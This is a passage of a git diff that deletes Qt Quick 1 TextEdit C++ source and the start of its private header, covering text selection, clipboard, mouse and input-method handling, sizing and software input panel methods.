- -void QDeclarative1TextEdit::setTextMargin(qreal margin) -{ - Q_D(QDeclarative1TextEdit); - if (d->textMargin == margin) - return; - d->textMargin = margin; - d->document->setDocumentMargin(d->textMargin); - emit textMarginChanged(d->textMargin); -} - -void QDeclarative1TextEdit::geometryChanged(const QRectF &newGeometry, - const QRectF &oldGeometry) -{ - if (newGeometry.width() != oldGeometry.width()) - updateSize(); - QDeclarative1PaintedItem::geometryChanged(newGeometry, oldGeometry); -} - -/*! - Ensures any delayed caching or data loading the class - needs to performed is complete. -*/ -void QDeclarative1TextEdit::componentComplete() -{ - Q_D(QDeclarative1TextEdit); - QDeclarative1PaintedItem::componentComplete(); - if (d->dirty) { - d->determineHorizontalAlignment(); - d->updateDefaultTextOption(); - updateSize(); - d->dirty = false; - } -} - -/*! - \qmlproperty bool QtQuick1::TextEdit::selectByMouse - - Defaults to false. - - If true, the user can use the mouse to select text in some - platform-specific way. Note that for some platforms this may - not be an appropriate interaction (eg. may conflict with how - the text needs to behave inside a Flickable. -*/ -bool QDeclarative1TextEdit::selectByMouse() const -{ - Q_D(const QDeclarative1TextEdit); - return d->selectByMouse; -} - -void QDeclarative1TextEdit::setSelectByMouse(bool on) -{ - Q_D(QDeclarative1TextEdit); - if (d->selectByMouse != on) { - d->selectByMouse = on; - setKeepMouseGrab(on); - if (on) - setTextInteractionFlags(d->control->textInteractionFlags() | Qt::TextSelectableByMouse); - else - setTextInteractionFlags(d->control->textInteractionFlags() & ~Qt::TextSelectableByMouse); - emit selectByMouseChanged(on); - } -} - - -/*! - \qmlproperty enum QtQuick1::TextEdit::mouseSelectionMode - \since Quick 1.1 - - Specifies how text should be selected using a mouse. - - \list - \o TextEdit.SelectCharacters - The selection is updated with individual characters. (Default) - \o TextEdit.SelectWords - The selection is updated with whole words. - \endlist - - This property only applies when \l selectByMouse is true. -*/ - -QDeclarative1TextEdit::SelectionMode QDeclarative1TextEdit::mouseSelectionMode() const -{ - Q_D(const QDeclarative1TextEdit); - return d->mouseSelectionMode; -} - -void QDeclarative1TextEdit::setMouseSelectionMode(SelectionMode mode) -{ - Q_D(QDeclarative1TextEdit); - if (d->mouseSelectionMode != mode) { - d->mouseSelectionMode = mode; - d->control->setWordSelectionEnabled(mode == SelectWords); - emit mouseSelectionModeChanged(mode); - } -} - -/*! - \qmlproperty bool QtQuick1::TextEdit::readOnly - - Whether the user can interact with the TextEdit item. If this - property is set to true the text cannot be edited by user interaction. - - By default this property is false. -*/ -void QDeclarative1TextEdit::setReadOnly(bool r) -{ - Q_D(QDeclarative1TextEdit); - if (r == isReadOnly()) - return; - - setFlag(QGraphicsItem::ItemAcceptsInputMethod, !r); - - Qt::TextInteractionFlags flags = Qt::LinksAccessibleByMouse; - if (d->selectByMouse) - flags = flags | Qt::TextSelectableByMouse; - if (!r) - flags = flags | Qt::TextSelectableByKeyboard | Qt::TextEditable; - d->control->setTextInteractionFlags(flags); - if (!r) - d->control->moveCursor(QTextCursor::End); - - emit readOnlyChanged(r); -} - -bool QDeclarative1TextEdit::isReadOnly() const -{ - Q_D(const QDeclarative1TextEdit); - return !(d->control->textInteractionFlags() & Qt::TextEditable); -} - -/*! - Sets how the text edit should interact with user input to the given - \a flags. -*/ -void QDeclarative1TextEdit::setTextInteractionFlags(Qt::TextInteractionFlags flags) -{ - Q_D(QDeclarative1TextEdit); - d->control->setTextInteractionFlags(flags); -} - -/*! - Returns the flags specifying how the text edit should interact - with user input. -*/ -Qt::TextInteractionFlags QDeclarative1TextEdit::textInteractionFlags() const -{ - Q_D(const QDeclarative1TextEdit); - return d->control->textInteractionFlags(); -} - -/*! - \qmlproperty rectangle QtQuick1::TextEdit::cursorRectangle - - The rectangle where the text cursor is rendered - within the text edit. Read-only. -*/ -QRect QDeclarative1TextEdit::cursorRectangle() const -{ - Q_D(const QDeclarative1TextEdit); - return d->control->cursorRect().toRect().translated(0,d->yoff); -} - - -/*! -\overload -Handles the given \a event. -*/ -bool QDeclarative1TextEdit::event(QEvent *event) -{ - Q_D(QDeclarative1TextEdit); - if (event->type() == QEvent::ShortcutOverride) { - d->control->processEvent(event, QPointF(0, -d->yoff)); - return event->isAccepted(); - } - return QDeclarative1PaintedItem::event(event); -} - -/*! -\overload -Handles the given key \a event. -*/ -void QDeclarative1TextEdit::keyPressEvent(QKeyEvent *event) -{ - Q_D(QDeclarative1TextEdit); - keyPressPreHandler(event); - if (!event->isAccepted()) - d->control->processEvent(event, QPointF(0, -d->yoff)); - if (!event->isAccepted()) - QDeclarative1PaintedItem::keyPressEvent(event); -} - -/*! -\overload -Handles the given key \a event. -*/ -void QDeclarative1TextEdit::keyReleaseEvent(QKeyEvent *event) -{ - Q_D(QDeclarative1TextEdit); - keyReleasePreHandler(event); - if (!event->isAccepted()) - d->control->processEvent(event, QPointF(0, -d->yoff)); - if (!event->isAccepted()) - QDeclarative1PaintedItem::keyReleaseEvent(event); -} - -void QDeclarative1TextEditPrivate::focusChanged(bool hasFocus) -{ - Q_Q(QDeclarative1TextEdit); - q->setCursorVisible(hasFocus && scene && scene->hasFocus()); - QDeclarativeItemPrivate::focusChanged(hasFocus); -} - -/*! - \qmlmethod void QtQuick1::TextEdit::deselect() - \since Quick 1.1 - - Removes active text selection. -*/ -void QDeclarative1TextEdit::deselect() -{ - Q_D(QDeclarative1TextEdit); - QTextCursor c = d->control->textCursor(); - c.clearSelection(); - d->control->setTextCursor(c); -} - -/*! - \qmlmethod void QtQuick1::TextEdit::selectAll() - - Causes all text to be selected. -*/ -void QDeclarative1TextEdit::selectAll() -{ - Q_D(QDeclarative1TextEdit); - d->control->selectAll(); -} - -/*! - \qmlmethod void QtQuick1::TextEdit::selectWord() - - Causes the word closest to the current cursor position to be selected. -*/ -void QDeclarative1TextEdit::selectWord() -{ - Q_D(QDeclarative1TextEdit); - QTextCursor c = d->control->textCursor(); - c.select(QTextCursor::WordUnderCursor); - d->control->setTextCursor(c); -} - -/*! - \qmlmethod void QtQuick1::TextEdit::select(int start, int end) - - Causes the text from \a start to \a end to be selected. - - If either start or end is out of range, the selection is not changed. - - After calling this, selectionStart will become the lesser - and selectionEnd will become the greater (regardless of the order passed - to this method). - - \sa selectionStart, selectionEnd -*/ -void QDeclarative1TextEdit::select(int start, int end) -{ - Q_D(QDeclarative1TextEdit); - if (start < 0 || end < 0 || start > d->text.length() || end > d->text.length()) - return; - QTextCursor cursor = d->control->textCursor(); - cursor.beginEditBlock(); - cursor.setPosition(start, QTextCursor::MoveAnchor); - cursor.setPosition(end, QTextCursor::KeepAnchor); - cursor.endEditBlock(); - d->control->setTextCursor(cursor); - - // QTBUG-11100 - updateSelectionMarkers(); -} - -/*! - \qmlmethod void QtQuick1::TextEdit::isRightToLeft(int start, int end) - - Returns true if the natural reading direction of the editor text - found between positions \a start and \a end is right to left. -*/ -bool QDeclarative1TextEdit::isRightToLeft(int start, int end) -{ - Q_D(QDeclarative1TextEdit); - if (start > end) { - qmlInfo(this) << "isRightToLeft(start, end) called with the end property being smaller than the start."; - return false; - } else { - return d->text.mid(start, end - start).isRightToLeft(); - } -} - -#ifndef QT_NO_CLIPBOARD -/*! - \qmlmethod QtQuick1::TextEdit::cut() - - Moves the currently selected text to the system clipboard. -*/ -void QDeclarative1TextEdit::cut() -{ - Q_D(QDeclarative1TextEdit); - d->control->cut(); -} - -/*! - \qmlmethod QtQuick1::TextEdit::copy() - - Copies the currently selected text to the system clipboard. -*/ -void QDeclarative1TextEdit::copy() -{ - Q_D(QDeclarative1TextEdit); - d->control->copy(); -} - -/*! - \qmlmethod QtQuick1::TextEdit::paste() - - Replaces the currently selected text by the contents of the system clipboard. -*/ -void QDeclarative1TextEdit::paste() -{ - Q_D(QDeclarative1TextEdit); - d->control->paste(); -} -#endif // QT_NO_CLIPBOARD - -/*! -\overload -Handles the given mouse \a event. -*/ -void QDeclarative1TextEdit::mousePressEvent(QGraphicsSceneMouseEvent *event) -{ - Q_D(QDeclarative1TextEdit); - if (d->focusOnPress){ - bool hadActiveFocus = hasActiveFocus(); - forceActiveFocus(); - if (d->showInputPanelOnFocus) { - if (hasActiveFocus() && hadActiveFocus && !isReadOnly()) { - // re-open input panel on press if already focused - openSoftwareInputPanel(); - } - } else { // show input panel on click - if (hasActiveFocus() && !hadActiveFocus) { - d->clickCausedFocus = true; - } - } - } - - d->control->processEvent(event, QPointF(0, -d->yoff)); - if (!event->isAccepted()) - QDeclarative1PaintedItem::mousePressEvent(event); -} - -/*! -\overload -Handles the given mouse \a event. -*/ -void QDeclarative1TextEdit::mouseReleaseEvent(QGraphicsSceneMouseEvent *event) -{ - Q_D(QDeclarative1TextEdit); - d->control->processEvent(event, QPointF(0, -d->yoff)); - if (!d->showInputPanelOnFocus) { // input panel on click - if (d->focusOnPress && !isReadOnly() && boundingRect().contains(event->pos())) { - if (QGraphicsView * view = qobject_cast(qApp->focusWidget())) { - if (view->scene() && view->scene() == scene()) { - qt_widget_private(view)->handleSoftwareInputPanel(event->button(), d->clickCausedFocus); - } - } - } - } - d->clickCausedFocus = false; - - if (!event->isAccepted()) - QDeclarative1PaintedItem::mouseReleaseEvent(event); -} - -/*! -\overload -Handles the given mouse \a event. -*/ -void QDeclarative1TextEdit::mouseDoubleClickEvent(QGraphicsSceneMouseEvent *event) -{ - Q_D(QDeclarative1TextEdit); - - d->control->processEvent(event, QPointF(0, -d->yoff)); - if (!event->isAccepted()) - QDeclarative1PaintedItem::mouseDoubleClickEvent(event); - -} - -/*! -\overload -Handles the given mouse \a event. -*/ -void QDeclarative1TextEdit::mouseMoveEvent(QGraphicsSceneMouseEvent *event) -{ - Q_D(QDeclarative1TextEdit); - d->control->processEvent(event, QPointF(0, -d->yoff)); - if (!event->isAccepted()) - QDeclarative1PaintedItem::mouseMoveEvent(event); -} - -/*! -\overload -Handles the given input method \a event. -*/ -void QDeclarative1TextEdit::inputMethodEvent(QInputMethodEvent *event) -{ - Q_D(QDeclarative1TextEdit); - const bool wasComposing = isInputMethodComposing(); - d->control->processEvent(event, QPointF(0, -d->yoff)); - if (wasComposing != isInputMethodComposing()) - emit inputMethodComposingChanged(); -} - -/*! -\overload -Returns the value of the given \a property. -*/ -QVariant QDeclarative1TextEdit::inputMethodQuery(Qt::InputMethodQuery property) const -{ - Q_D(const QDeclarative1TextEdit); - return d->control->inputMethodQuery(property); -} - -/*! -Draws the contents of the text edit using the given \a painter within -the given \a bounds. -*/ -void QDeclarative1TextEdit::drawContents(QPainter *painter, const QRect &bounds) -{ - Q_D(QDeclarative1TextEdit); - - painter->setRenderHint(QPainter::TextAntialiasing, true); - painter->translate(0,d->yoff); - - d->control->drawContents(painter, bounds.translated(0,-d->yoff)); - - painter->translate(0,-d->yoff); -} - -void QDeclarative1TextEdit::updateImgCache(const QRectF &rf) -{ - Q_D(const QDeclarative1TextEdit); - QRect r; - if (!rf.isValid()) { - r = QRect(0,0,INT_MAX,INT_MAX); - } else { - r = rf.toRect(); - if (r.height() > INT_MAX/2) { - // Take care of overflow when translating "everything" - r.setTop(r.y() + d->yoff); - r.setBottom(INT_MAX/2); - } else { - r = r.translated(0,d->yoff); - } - } - dirtyCache(r); - emit update(); -} - -/*! - \qmlproperty bool QtQuick1::TextEdit::smooth - - This property holds whether the text is smoothly scaled or transformed. - - Smooth filtering gives better visual quality, but is slower. If - the item is displayed at its natural size, this property has no visual or - performance effect. - - \note Generally scaling artifacts are only visible if the item is stationary on - the screen. A common pattern when animating an item is to disable smooth - filtering at the beginning of the animation and reenable it at the conclusion. -*/ - -/*! - \qmlproperty bool QtQuick1::TextEdit::canPaste - \since QtQuick 1.1 - - Returns true if the TextEdit is writable and the content of the clipboard is - suitable for pasting into the TextEdit. -*/ -bool QDeclarative1TextEdit::canPaste() const -{ - Q_D(const QDeclarative1TextEdit); - return d->canPaste; -} - -/*! - \qmlproperty bool QtQuick1::TextEdit::inputMethodComposing - - \since QtQuick 1.1 - - This property holds whether the TextEdit has partial text input from an - input method. - - While it is composing an input method may rely on mouse or key events from - the TextEdit to edit or commit the partial text. This property can be used - to determine when to disable events handlers that may interfere with the - correct operation of an input method. -*/ -bool QDeclarative1TextEdit::isInputMethodComposing() const -{ - Q_D(const QDeclarative1TextEdit); - if (QTextLayout *layout = d->control->textCursor().block().layout()) - return layout->preeditAreaText().length() > 0; - return false; -} - -void QDeclarative1TextEditPrivate::init() -{ - Q_Q(QDeclarative1TextEdit); - - q->setSmooth(smooth); - q->setAcceptedMouseButtons(Qt::LeftButton); - q->setFlag(QGraphicsItem::ItemHasNoContents, false); - q->setFlag(QGraphicsItem::ItemAcceptsInputMethod); - - control = new QWidgetTextControl(q); - control->setIgnoreUnusedNavigationEvents(true); - control->setTextInteractionFlags(Qt::TextInteractionFlags(Qt::LinksAccessibleByMouse | Qt::TextSelectableByKeyboard | Qt::TextEditable)); - control->setDragEnabled(false); - - // QWidgetTextControl follows the default text color - // defined by the platform, declarative text - // should be black by default - QPalette pal = control->palette(); - if (pal.color(QPalette::Text) != color) { - pal.setColor(QPalette::Text, color); - control->setPalette(pal); - } - - QObject::connect(control, SIGNAL(updateRequest(QRectF)), q, SLOT(updateImgCache(QRectF))); - - QObject::connect(control, SIGNAL(textChanged()), q, SLOT(q_textChanged())); - QObject::connect(control, SIGNAL(selectionChanged()), q, SIGNAL(selectionChanged())); - QObject::connect(control, SIGNAL(selectionChanged()), q, SLOT(updateSelectionMarkers())); - QObject::connect(control, SIGNAL(cursorPositionChanged()), q, SLOT(updateSelectionMarkers())); - QObject::connect(control, SIGNAL(cursorPositionChanged()), q, SIGNAL(cursorPositionChanged())); - QObject::connect(control, SIGNAL(microFocusChanged()), q, SLOT(moveCursorDelegate())); - QObject::connect(control, SIGNAL(linkActivated(QString)), q, SIGNAL(linkActivated(QString))); -#ifndef QT_NO_CLIPBOARD - QObject::connect(q, SIGNAL(readOnlyChanged(bool)), q, SLOT(q_canPasteChanged())); - QObject::connect(QApplication::clipboard(), SIGNAL(dataChanged()), q, SLOT(q_canPasteChanged())); - canPaste = control->canPaste(); -#endif - - document = control->document(); - document->setDefaultFont(font); - document->setDocumentMargin(textMargin); - document->setUndoRedoEnabled(false); // flush undo buffer. - document->setUndoRedoEnabled(true); - updateDefaultTextOption(); -} - -void QDeclarative1TextEdit::q_textChanged() -{ - Q_D(QDeclarative1TextEdit); - d->text = text(); - d->rightToLeftText = d->document->begin().layout()->engine()->isRightToLeft(); - d->determineHorizontalAlignment(); - d->updateDefaultTextOption(); - updateSize(); - updateTotalLines(); - emit textChanged(d->text); -} - -void QDeclarative1TextEdit::moveCursorDelegate() -{ - Q_D(QDeclarative1TextEdit); - d->determineHorizontalAlignment(); - updateMicroFocus(); - emit cursorRectangleChanged(); - if(!d->cursor) - return; - QRectF cursorRect = cursorRectangle(); - d->cursor->setX(cursorRect.x()); - d->cursor->setY(cursorRect.y()); -} - -void QDeclarative1TextEdit::updateSelectionMarkers() -{ - Q_D(QDeclarative1TextEdit); - if(d->lastSelectionStart != d->control->textCursor().selectionStart()){ - d->lastSelectionStart = d->control->textCursor().selectionStart(); - emit selectionStartChanged(); - } - if(d->lastSelectionEnd != d->control->textCursor().selectionEnd()){ - d->lastSelectionEnd = d->control->textCursor().selectionEnd(); - emit selectionEndChanged(); - } -} - -QRectF QDeclarative1TextEdit::boundingRect() const -{ - Q_D(const QDeclarative1TextEdit); - QRectF r = QDeclarative1PaintedItem::boundingRect(); - int cursorWidth = 1; - if(d->cursor) - cursorWidth = d->cursor->width(); - if(!d->document->isEmpty()) - cursorWidth += 3;// ### Need a better way of accounting for space between char and cursor - - // Could include font max left/right bearings to either side of rectangle. - - r.setRight(r.right() + cursorWidth); - return r.translated(0,d->yoff); -} - -qreal QDeclarative1TextEditPrivate::implicitWidth() const -{ - Q_Q(const QDeclarative1TextEdit); - if (!requireImplicitWidth) { - // We don't calculate implicitWidth unless it is required. - // We need to force a size update now to ensure implicitWidth is calculated - const_cast(this)->requireImplicitWidth = true; - const_cast(q)->updateSize(); - } - return mImplicitWidth; -} - -//### we should perhaps be a bit smarter here -- depending on what has changed, we shouldn't -// need to do all the calculations each time -void QDeclarative1TextEdit::updateSize() -{ - Q_D(QDeclarative1TextEdit); - if (isComponentComplete()) { - qreal naturalWidth = d->mImplicitWidth; - // ### assumes that if the width is set, the text will fill to edges - // ### (unless wrap is false, then clipping will occur) - if (widthValid()) { - if (!d->requireImplicitWidth) { - emit implicitWidthChanged(); - // if the implicitWidth is used, then updateSize() has already been called (recursively) - if (d->requireImplicitWidth) - return; - } - if (d->requireImplicitWidth) { - d->document->setTextWidth(-1); - naturalWidth = d->document->idealWidth(); - } - if (d->document->textWidth() != width()) - d->document->setTextWidth(width()); - } else { - d->document->setTextWidth(-1); - } - QFontMetrics fm = QFontMetrics(d->font); - int dy = height(); - dy -= (int)d->document->size().height(); - - int nyoff; - if (heightValid()) { - if (d->vAlign == AlignBottom) - nyoff = dy; - else if (d->vAlign == AlignVCenter) - nyoff = dy/2; - else - nyoff = 0; - } else { - nyoff = 0; - } - if (nyoff != d->yoff) { - prepareGeometryChange(); - d->yoff = nyoff; - } - setBaselineOffset(fm.ascent() + d->yoff + d->textMargin); - - //### need to comfirm cost of always setting these - int newWidth = qCeil(d->document->idealWidth()); - if (!widthValid() && d->document->textWidth() != newWidth) - d->document->setTextWidth(newWidth); // ### Text does not align if width is not set (QTextDoc bug) - // ### Setting the implicitWidth triggers another updateSize(), and unless there are bindings nothing has changed. - if (!widthValid()) - setImplicitWidth(newWidth); - else if (d->requireImplicitWidth) - setImplicitWidth(naturalWidth); - qreal newHeight = d->document->isEmpty() ? fm.height() : (int)d->document->size().height(); - setImplicitHeight(newHeight); - - d->paintedSize = QSize(newWidth, newHeight); - setContentsSize(d->paintedSize); - emit paintedSizeChanged(); - } else { - d->dirty = true; - } - emit update(); -} - -void QDeclarative1TextEdit::updateTotalLines() -{ - Q_D(QDeclarative1TextEdit); - - int subLines = 0; - - for (QTextBlock it = d->document->begin(); it != d->document->end(); it = it.next()) { - QTextLayout *layout = it.layout(); - if (!layout) - continue; - subLines += layout->lineCount()-1; - } - - int newTotalLines = d->document->lineCount() + subLines; - if (d->lineCount != newTotalLines) { - d->lineCount = newTotalLines; - emit lineCountChanged(); - } -} - -void QDeclarative1TextEditPrivate::updateDefaultTextOption() -{ - Q_Q(QDeclarative1TextEdit); - QTextOption opt = document->defaultTextOption(); - int oldAlignment = opt.alignment(); - - QDeclarative1TextEdit::HAlignment horizontalAlignment = q->effectiveHAlign(); - if (rightToLeftText) { - if (horizontalAlignment == QDeclarative1TextEdit::AlignLeft) - horizontalAlignment = QDeclarative1TextEdit::AlignRight; - else if (horizontalAlignment == QDeclarative1TextEdit::AlignRight) - horizontalAlignment = QDeclarative1TextEdit::AlignLeft; - } - opt.setAlignment((Qt::Alignment)(int)(horizontalAlignment | vAlign)); - - QTextOption::WrapMode oldWrapMode = opt.wrapMode(); - opt.setWrapMode(QTextOption::WrapMode(wrapMode)); - - if (oldWrapMode == opt.wrapMode() && oldAlignment == opt.alignment()) - return; - document->setDefaultTextOption(opt); -} - - -/*! - \qmlmethod void QtQuick1::TextEdit::openSoftwareInputPanel() - - Opens software input panels like virtual keyboards for typing, useful for - customizing when you want the input keyboard to be shown and hidden in - your application. - - By default the opening of input panels follows the platform style. - The panels are automatically opened when TextEdit element gains active focus. Input panels are - always closed if no editor has active focus. - - You can disable the automatic behavior by setting the property \c activeFocusOnPress to false - and use functions openSoftwareInputPanel() and closeSoftwareInputPanel() to implement - the behavior you want. - - Only relevant on platforms, which provide virtual keyboards. - - \code - import QtQuick 1.0 - TextEdit { - id: textEdit - text: "Hello world!" - activeFocusOnPress: false - MouseArea { - anchors.fill: parent - onClicked: { - if (!textEdit.activeFocus) { - textEdit.forceActiveFocus(); - textEdit.openSoftwareInputPanel(); - } else { - textEdit.focus = false; - } - } - onPressAndHold: textEdit.closeSoftwareInputPanel(); - } - } - \endcode -*/ -void QDeclarative1TextEdit::openSoftwareInputPanel() -{ - if (qApp) { - if (QGraphicsView * view = qobject_cast(qApp->focusWidget())) { - if (view->scene() && view->scene() == scene()) { - qApp->inputPanel()->show(); - } - } - } -} - -/*! - \qmlmethod void QtQuick1::TextEdit::closeSoftwareInputPanel() - - Closes a software input panel like a virtual keyboard shown on the screen, useful - for customizing when you want the input keyboard to be shown and hidden in - your application. - - By default the opening of input panels follows the platform style. - The panels are automatically opened when TextEdit element gains active focus. Input panels are - always closed if no editor has active focus. - - You can disable the automatic behavior by setting the property \c activeFocusOnPress to false - and use functions openSoftwareInputPanel() and closeSoftwareInputPanel() to implement - the behavior you want. - - Only relevant on platforms, which provide virtual keyboards. - - \code - import QtQuick 1.0 - TextEdit { - id: textEdit - text: "Hello world!" - activeFocusOnPress: false - MouseArea { - anchors.fill: parent - onClicked: { - if (!textEdit.activeFocus) { - textEdit.forceActiveFocus(); - textEdit.openSoftwareInputPanel(); - } else { - textEdit.focus = false; - } - } - onPressAndHold: textEdit.closeSoftwareInputPanel(); - } - } - \endcode -*/ -void QDeclarative1TextEdit::closeSoftwareInputPanel() -{ - if (qApp) { - if (QGraphicsView * view = qobject_cast(qApp->focusWidget())) { - if (view->scene() && view->scene() == scene()) { - qApp->inputPanel()->hide(); - } - } - } -} - -void QDeclarative1TextEdit::focusInEvent(QFocusEvent *event) -{ - Q_D(const QDeclarative1TextEdit); - if (d->showInputPanelOnFocus) { - if (d->focusOnPress && !isReadOnly()) { - openSoftwareInputPanel(); - } - } - QDeclarative1PaintedItem::focusInEvent(event); -} - -void QDeclarative1TextEdit::q_canPasteChanged() -{ - Q_D(QDeclarative1TextEdit); - bool old = d->canPaste; - d->canPaste = d->control->canPaste(); - if(old!=d->canPaste) - emit canPasteChanged(); -} - - - -QT_END_NAMESPACE diff --git a/src/qtquick1/graphicsitems/qdeclarativetextedit_p.h b/src/qtquick1/graphicsitems/qdeclarativetextedit_p.h deleted file mode 100644 index 1f78f1ffdc..0000000000 --- a/src/qtquick1/graphicsitems/qdeclarativetextedit_p.h +++ /dev/null @@ -1,306 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVETEXTEDIT_H -#define QDECLARATIVETEXTEDIT_H - -#include "private/qdeclarativetext_p.h" -#include "private/qdeclarativeimplicitsizeitem_p.h" - -#include -#include -#include -#include - -QT_BEGIN_HEADER - -QT_BEGIN_NAMESPACE - - - -class QDeclarative1TextEditPrivate; -class Q_AUTOTEST_EXPORT QDeclarative1TextEdit : public QDeclarative1ImplicitSizePaintedItem -{ - Q_OBJECT - Q_ENUMS(VAlignment) - Q_ENUMS(HAlignment) - Q_ENUMS(TextFormat) - Q_ENUMS(WrapMode) - Q_ENUMS(SelectionMode) - - Q_PROPERTY(QString text READ text WRITE setText NOTIFY textChanged) - Q_PROPERTY(QColor color READ color WRITE setColor NOTIFY colorChanged) - Q_PROPERTY(QColor selectionColor READ selectionColor WRITE setSelectionColor NOTIFY selectionColorChanged) - Q_PROPERTY(QColor selectedTextColor READ selectedTextColor WRITE setSelectedTextColor NOTIFY selectedTextColorChanged) - Q_PROPERTY(QFont font READ font WRITE setFont NOTIFY fontChanged) - Q_PROPERTY(HAlignment horizontalAlignment READ hAlign WRITE setHAlign RESET resetHAlign NOTIFY horizontalAlignmentChanged) - Q_PROPERTY(HAlignment effectiveHorizontalAlignment READ effectiveHAlign NOTIFY effectiveHorizontalAlignmentChanged REVISION 1) - Q_PROPERTY(VAlignment verticalAlignment READ vAlign WRITE setVAlign NOTIFY verticalAlignmentChanged) - Q_PROPERTY(WrapMode wrapMode READ wrapMode WRITE setWrapMode NOTIFY wrapModeChanged) - Q_PROPERTY(int lineCount READ lineCount NOTIFY lineCountChanged REVISION 1) - Q_PROPERTY(qreal paintedWidth READ paintedWidth NOTIFY paintedSizeChanged) - Q_PROPERTY(qreal paintedHeight READ paintedHeight NOTIFY paintedSizeChanged) - Q_PROPERTY(TextFormat textFormat READ textFormat WRITE setTextFormat NOTIFY textFormatChanged) - Q_PROPERTY(bool readOnly READ isReadOnly WRITE setReadOnly NOTIFY readOnlyChanged) - Q_PROPERTY(bool cursorVisible READ isCursorVisible WRITE setCursorVisible NOTIFY cursorVisibleChanged) - Q_PROPERTY(int cursorPosition READ cursorPosition WRITE setCursorPosition NOTIFY cursorPositionChanged) - Q_PROPERTY(QRect cursorRectangle READ cursorRectangle NOTIFY cursorRectangleChanged) - Q_PROPERTY(QDeclarativeComponent* cursorDelegate READ cursorDelegate WRITE setCursorDelegate NOTIFY cursorDelegateChanged) - Q_PROPERTY(int selectionStart READ selectionStart NOTIFY selectionStartChanged) - Q_PROPERTY(int selectionEnd READ selectionEnd NOTIFY selectionEndChanged) - Q_PROPERTY(QString selectedText READ selectedText NOTIFY selectionChanged) - Q_PROPERTY(bool activeFocusOnPress READ focusOnPress WRITE setFocusOnPress NOTIFY activeFocusOnPressChanged) - Q_PROPERTY(bool persistentSelection READ persistentSelection WRITE setPersistentSelection NOTIFY persistentSelectionChanged) - Q_PROPERTY(qreal textMargin READ textMargin WRITE setTextMargin NOTIFY textMarginChanged) - Q_PROPERTY(Qt::InputMethodHints inputMethodHints READ inputMethodHints WRITE setInputMethodHints) - Q_PROPERTY(bool selectByMouse READ selectByMouse WRITE setSelectByMouse NOTIFY selectByMouseChanged) - Q_PROPERTY(SelectionMode mouseSelectionMode READ mouseSelectionMode WRITE setMouseSelectionMode NOTIFY mouseSelectionModeChanged REVISION 1) - Q_PROPERTY(bool canPaste READ canPaste NOTIFY canPasteChanged REVISION 1) - Q_PROPERTY(bool inputMethodComposing READ isInputMethodComposing NOTIFY inputMethodComposingChanged REVISION 1) - -public: - QDeclarative1TextEdit(QDeclarativeItem *parent=0); - - enum HAlignment { - AlignLeft = Qt::AlignLeft, - AlignRight = Qt::AlignRight, - AlignHCenter = Qt::AlignHCenter, - AlignJustify = Qt::AlignJustify // ### VERSIONING: Only in QtQuick 1.1 - }; - - enum VAlignment { - AlignTop = Qt::AlignTop, - AlignBottom = Qt::AlignBottom, - AlignVCenter = Qt::AlignVCenter - }; - - enum TextFormat { - PlainText = Qt::PlainText, - RichText = Qt::RichText, - AutoText = Qt::AutoText - }; - - enum WrapMode { NoWrap = QTextOption::NoWrap, - WordWrap = QTextOption::WordWrap, - WrapAnywhere = QTextOption::WrapAnywhere, - WrapAtWordBoundaryOrAnywhere = QTextOption::WrapAtWordBoundaryOrAnywhere, // COMPAT - Wrap = QTextOption::WrapAtWordBoundaryOrAnywhere - }; - - enum SelectionMode { - SelectCharacters, - SelectWords - }; - - Q_INVOKABLE void openSoftwareInputPanel(); - Q_INVOKABLE void closeSoftwareInputPanel(); - - QString text() const; - void setText(const QString &); - - TextFormat textFormat() const; - void setTextFormat(TextFormat format); - - QFont font() const; - void setFont(const QFont &font); - - QColor color() const; - void setColor(const QColor &c); - - QColor selectionColor() const; - void setSelectionColor(const QColor &c); - - QColor selectedTextColor() const; - void setSelectedTextColor(const QColor &c); - - HAlignment hAlign() const; - void setHAlign(HAlignment align); - void resetHAlign(); - HAlignment effectiveHAlign() const; - - VAlignment vAlign() const; - void setVAlign(VAlignment align); - - WrapMode wrapMode() const; - void setWrapMode(WrapMode w); - - int lineCount() const; - - bool isCursorVisible() const; - void setCursorVisible(bool on); - - int cursorPosition() const; - void setCursorPosition(int pos); - - QDeclarativeComponent* cursorDelegate() const; - void setCursorDelegate(QDeclarativeComponent*); - - int selectionStart() const; - int selectionEnd() const; - - QString selectedText() const; - - bool focusOnPress() const; - void setFocusOnPress(bool on); - - bool persistentSelection() const; - void setPersistentSelection(bool on); - - qreal textMargin() const; - void setTextMargin(qreal margin); - - bool selectByMouse() const; - void setSelectByMouse(bool); - - SelectionMode mouseSelectionMode() const; - void setMouseSelectionMode(SelectionMode mode); - - bool canPaste() const; - - virtual void componentComplete(); - - /* FROM EDIT */ - void setReadOnly(bool); - bool isReadOnly() const; - - void setTextInteractionFlags(Qt::TextInteractionFlags flags); - Qt::TextInteractionFlags textInteractionFlags() const; - - QRect cursorRectangle() const; - - QVariant inputMethodQuery(Qt::InputMethodQuery property) const; - - qreal paintedWidth() const; - qreal paintedHeight() const; - - Q_INVOKABLE QRectF positionToRectangle(int) const; - Q_INVOKABLE int positionAt(int x, int y) const; - Q_INVOKABLE void moveCursorSelection(int pos); - Q_INVOKABLE Q_REVISION(1) void moveCursorSelection(int pos, SelectionMode mode); - - QRectF boundingRect() const; - - bool isInputMethodComposing() const; - -Q_SIGNALS: - void textChanged(const QString &); - void paintedSizeChanged(); - void cursorPositionChanged(); - void 